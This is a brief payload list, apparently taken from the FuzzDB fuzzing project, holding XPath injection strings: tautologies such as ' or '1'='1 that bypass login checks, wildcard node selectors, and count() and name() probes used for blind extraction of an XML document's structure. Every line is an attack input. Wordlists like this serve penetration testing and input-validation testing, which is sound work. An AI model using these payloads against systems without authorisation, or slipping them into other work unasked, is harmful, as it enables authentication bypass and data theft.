# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xpath/xpath-injection.txt) ' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* */* @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/*)=1 and '1'='1 ' and count(/@*)=1 and '1'='1 ' and count(/comment())=1 and '1'='1